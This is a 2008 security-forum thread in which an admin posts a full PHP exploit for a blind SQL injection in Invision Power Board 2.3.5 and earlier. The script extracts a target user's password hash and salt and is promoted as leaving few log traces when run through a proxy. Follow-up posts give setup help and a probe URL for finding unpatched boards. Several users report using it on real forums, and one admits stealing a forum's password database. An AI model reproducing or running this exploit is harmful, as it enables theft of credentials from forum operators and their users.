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IT Security and Insecurity Portal |
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IPB <= 2.3.5 sql injection hash/salt fetching exploit |
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 Posted: Sat Sep 20, 2008 8:53 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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Based on DarkFig's excellent advisory. Easy to use, fast and usually does leave minimal log traces.
Feedback is welcome!
[[update]] ==> version 1.1 with Curl autoload!
| Code: |
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.1
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 22. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://localhost/ipb.2.3.5/';
$id = 1;// ID of the target user, default value "1" is admin's ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipblog.txt';// Log file
//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
@set_time_limit(0);
}
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
xecho("Testing target ID ... \n");
test_target_id();
xecho("Target ID seems to be valid\n");
$hash = get_hash();
$salt = get_salt();
add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");
add_line("Salt: $salt");
add_line("------------------------------------------");
xecho("\n------------------------------------------\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");
xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;
$post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
$buff = trim(make_post($url, $post, '', $url));
if($buff !== 'found')
{
die('Invalid response, target URL not valid? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function test_target_id()
{
global $url, $prefix, $id;
$post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';
if(!test_condition($post))
{
die('Invalid response, target ID not valid? Exiting ...');
}
}
///////////////////////////////////////////////////////////////////////
function get_salt()
{
$len = 5;
$out = '';
xecho("Finding salt ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current salt: $out \n");
}
xecho("\nFinal salt: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos)
{
global $prefix, $id;
$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash()
{
$len = 32;
$out = '';
xecho("Finding hash ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current hash: $out \n");
}
xecho("\nFinal hash: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos)
{
global $prefix, $id;
$char = '';
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
$bret = false;
$maxtry = 10;
$try = 1;
$pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
$post = sprintf($pattern, $p);
while(1)
{
$buff = trim(make_post($url, $post, '', $url));
if($buff === 'found')
{
$bret = true;
break;
}
elseif($buff === 'notfound')
{
break;
}
elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}
return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}
if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;
$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
//////////////////////////////////////////////////////////////////////
?>
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Last edited by waraxe on Sun Sep 21, 2008 8:32 pm; edited 2 times in total |
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| Posted: Sat Sep 20, 2008 9:53 pm |
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| Miyako |
| Active user |
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| Joined: Jan 28, 2008 |
| Posts: 25 |
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Nice  Great job Waraxe
Your PHP-scripts could even be used by noobs like me, like always (cutenews). |
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| Posted: Sun Sep 21, 2008 2:29 am |
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| Cablekid |
| Advanced user |
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| Joined: Jul 14, 2007 |
| Posts: 85 |
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| Awsome! Works! just need to figure out to crack them my self LOL |
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| Posted: Sun Sep 21, 2008 9:03 am |
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| pexli |
| Valuable expert |
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| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
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| Code: | curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']); |
Thank you dude. |
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| Posted: Sun Sep 21, 2008 6:09 pm |
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| martin1 |
| Regular user |
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| Joined: Sep 21, 2008 |
| Posts: 17 |
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PHP Fatal error: Call to undefined function curl_init() in C:\1.php on line
329
I keep getting this when i try using this exploit. (Yes im a n00b but we all start somewhere ? )  |
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| Posted: Sun Sep 21, 2008 6:11 pm |
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| Poison |
| Advanced user |
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| Joined: Jul 30, 2008 |
| Posts: 126 |
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MARTIN i get the same error  |
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| Posted: Sun Sep 21, 2008 7:39 pm |
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| pexli |
| Valuable expert |
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| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
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In php.ini must be like this
extension=php_curl.dll |
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| Posted: Sun Sep 21, 2008 7:55 pm |
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| Poison |
| Advanced user |
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| Joined: Jul 30, 2008 |
| Posts: 126 |
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ive done it but still dosnt work where is the curl file?
cause its not in the php dir |
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| Posted: Sun Sep 21, 2008 8:03 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| Poison wrote: | ive done it but still dosnt work where is the curl file?
cause its not in the php dir |
Look in subfolder "ext" in php folder. Can you see file "php_curl.dll"?
Now edit php.ini accordingly:
| Code: |
; Directory in which the loadable extensions (modules) reside.
extension_dir = "./ext"
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And
| Code: |
extension=php_curl.dll
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Let me know about results.
By the way, i got idea ... i will try to use dl() function, if curl extension is not loaded. This can make things easier
[[update]] ==> i've published version 1.1 of exploit, with curl autoloader.
Look for first post, it's version 1.1 now. Or dowload from here:
http://www.waraxe.us/tools/ipbaxe.zip |
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| Posted: Sun Sep 21, 2008 8:54 pm |
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| T0x1Cw4St3 |
| Regular user |
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| Joined: Aug 15, 2008 |
| Posts: 17 |
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Everytime i'm getting this:
Invalid response, target URL not valid? Exiting ...
With every IPB 2.3.5 board i find. |
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| Posted: Sun Sep 21, 2008 9:16 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| T0x1Cw4St3 wrote: | Everytime i'm getting this:
Invalid response, target URL not valid? Exiting ...
With every IPB 2.3.5 board i find. |
Most of the IPB installations are allready patched. So first thing to do is to try this:
| Code: |
http://www.***.com/forums/index.php?act=xmlout&do=check-display-name&name=%2527
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If you will see "IPS driver error", then exploit should work. If you get "not found" or something like that, then specific target is allready pacthed |
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| Posted: Sun Sep 21, 2008 11:18 pm |
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| martin1 |
| Regular user |
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| Joined: Sep 21, 2008 |
| Posts: 17 |
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thanks for explainin waraxe. that file seem to work. time to have some fun  |
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| Posted: Mon Sep 22, 2008 2:10 am |
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| Chedda |
| Active user |
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| Joined: May 26, 2008 |
| Posts: 27 |
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| Works like a charm, way to go =) |
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| Posted: Mon Sep 22, 2008 2:20 am |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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Glad to hear positive feedback  |
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| Posted: Mon Sep 22, 2008 2:42 am |
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| Irakirashia |
| Beginner |
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| Joined: Sep 22, 2008 |
| Posts: 2 |
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| I just registered to say that this is working great, now I'm waiting to decrypt the md5's, I've already stolen a whole md5's db from a forum I needed ;x |
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